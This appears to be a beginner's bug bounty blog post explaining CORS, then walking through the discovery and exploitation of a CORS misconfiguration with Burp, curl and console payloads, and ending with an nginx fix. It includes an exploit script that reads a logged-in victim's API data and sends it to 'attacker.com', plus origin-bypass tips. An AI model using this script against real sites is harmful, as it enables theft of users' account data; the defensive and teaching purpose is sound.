From Discovery to Exploit: A Beginner's Guide to CORS Bugs

This case study walks you through my discovery process using Burp Proxy, the technical details of the vulnerability, and how I exploited…

@umesh

~5 min read · June 3, 2025 (Updated: June 3, 2025) · Free: Yes

Introduction

As a security researcher, I discovered a critical vulnerability in a live web application: CORS misconfiguration. This case study walks you through my discovery process using Burp Proxy, the technical details of the vulnerability, and how I exploited it with a simple script. I'll explain everything step-by-step — if I could find this, so can you.

Understanding Origin, Same-Origin Policy, and CORS

Before diving in, it's important to understand the basics:

1. Origin refers to the combination of protocol (HTTP/HTTPS), domain, and port. For example, https://example.com:443 is one origin, and http://example.com:80 is another — even though the domain is the same, the protocol and port make them different origins.

2. Same-Origin Policy (SOP) is a security measure enforced by web browsers. It ensures that scripts running on one origin cannot read data from a different origin. This prevents malicious websites from accessing sensitive information on other sites.

3. Cross-Origin Resource Sharing (CORS) is a mechanism that allows a server to specify who can access its resources from a different origin. CORS is implemented by setting specific headers like Access-Control-Allow-Origin and Access-Control-Allow-Credentials. While this is useful for legitimate cross-origin access (e.g., APIs used by trusted front-ends), a misconfigured CORS policy can expose sensitive data to malicious sites.

Core Concepts Made Simple

Origin = Protocol + Domain + Port

Like your home address: https://yourbank.com:443

Change any part? It's a different "origin".

Same-Origin Policy (SOP)

The browser's fundamental security rule: Scripts from https://attacker.com CANNOT access data from https://yourbank.com
Prevents malicious sites from stealing your session data.

CORS (Cross-Origin Resource Sharing)

The VIP pass that overrides SOP:

Access-Control-Allow-Origin: https://trusted-partner.com    ->Cross-origin requests from any domain (* wildcard)
Access-Control-Allow-Credentials: true    ->Sends your cookies

Misconfigure this? Attackers get VIP access too.

How I Found the Vulnerability

One evening, I was browsing the internet, exploring various public endpoints and repositories. As part of my usual recon routine, I used Google Dorking techniques to uncover potential targets for my bug bounty efforts. After trying several dorks, I stumbled upon a Application that piqued my interest.

Curious, I started analyzing its behavior using Burp Suite. As I intercepted requests, I noticed something odd in the API responses — something that hinted at a possible CORS misconfiguration. I dug deeper and confirmed that the application was vulnerable. Here's how it unfolded.

Target: A Application storing user profiles.

My Toolstack:

Burp Proxy — Intercept all requests/responses
Curl- Test origin reflection
Browser console — Execute payloads

Discovery Flow:

Intercepted API call in Burp:

GET /api/user HTTP/1.1
Origin: https://legit-client.com
Cookie: session=xyz

Server response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *  // Red flag!
Access-Control-Allow-Credentials: true  // Critical!

Tested with curl:

The application failed to validate Origin headers during preflight requests, Test Origin Header with different value

curl -H "Origin: https://evil.com" -I https://target.com/api/user

→ Server responded with Access-Control-Allow-Origin: https://evil.com!

During my initial reconnaissance, I noticed that the application's API endpoints were returning the Access-Control-Allow-Origin: * header in their responses. This wildcard configuration immediately caught my attention because it essentially allows any origin to access the API resources. While this configuration might seem convenient for development purposes, it represents a significant security risk when deployed in production environments.

In response, look for CORS headers

Building the Proof-of-Concept (PoC)

After initial detection, I needed a proof-of-concept demonstrating real impact. The breakthrough came when I found a well-documented payload in a HackerOne bug bounty report that demonstrated a clear exploitation technique. I adapted a HackerOne payload — you can do this too: Create evil.com page with this script.

<script>
function attack() {
  var req = new XMLHttpRequest();
  req.onload = exfiltrate; 
  req.open('GET', 'https://vulnerable-api.com/api/user', true);
  req.withCredentials = true;  // Sends victim's cookies
  req.send();
  
  function exfiltrate() {
    // Encode & steal data
    fetch('https://attacker.com/steal?data=' + btoa(this.responseText));
  }
}
attack();
</script>

But here I only used this part of payload

var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://domain.com/api/user',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };

Demonstration:

Visit evil.com in browser
Open Developer Console (F12 → Console)
Paste payload → See stolen data in network tab

Run the payload in console and get response data in pop up

Real Attack Scenario:

Victim logs into vulnerable-api.com
Victim visits evil.com (malicious ad/blog comment)
Boom: Account data → attacker's server

Impact & Fix

# Risk: Full account takeover in 60 seconds.

# My Action: Reported via bug bounty program → Patched in 48 hours.

Developer Fix:

In nginx config file:-

# RESTRICT to trusted domains ONLY
if ($http_origin ~* (https://trusted.com|https://partner.com)) {
    add_header 'Access-Control-Allow-Origin' "$http_origin";
    add_header 'Access-Control-Allow-Credentials' 'true';
}

Your Turn: How to Hunt CORS Bugs

Step 1: Find endpoints

Use Burp Proxy while browsing:

Filter → access-control-allow-origin

Step 2: Test origins

# Test origin reflection
curl -H "Origin: https://test123.com" -I https://target.com/api

Look for: access-control-allow-origin: https://test123.com

Step 3: Verify exploitability

// Paste in browser console while logged into target
fetch('https://target.com/api/user', { 
  credentials: 'include' 
}).then(r => r.text()).then(console.log)

→ If you see your data, it's vulnerable.

Pro Tips:

Test Origin: null, attacker-target.com, target.com.attacker.io
Chain with XSS: "CORS + XSS = Game Over

Why This Matters

After finding this bug, I reported it to the company — they fixed it within days and paid a bounty. This wasn't complex hacking, just:

1. Understanding core concepts

2. Using basic tools (Burp + curl + console)

3. Persistence

You've got this. If you've ever:

Inspected network requests → You're 50% there
Copied a curl command → You're 70% there
Pasted payload code in browser console → You can exploit this TODAY

"Every expert was once a beginner. My first CORS find started with Googling 'what is origin?'. Yours starts now."

→ Share your first finding with me on Linkdin: @umesh

Ethical Note: Always test with permission. Unauthorized hacking is illegal.

#cors #cors-misconfiguration #web-application-security #cross-origin-exploitation #bug-bounty-hunting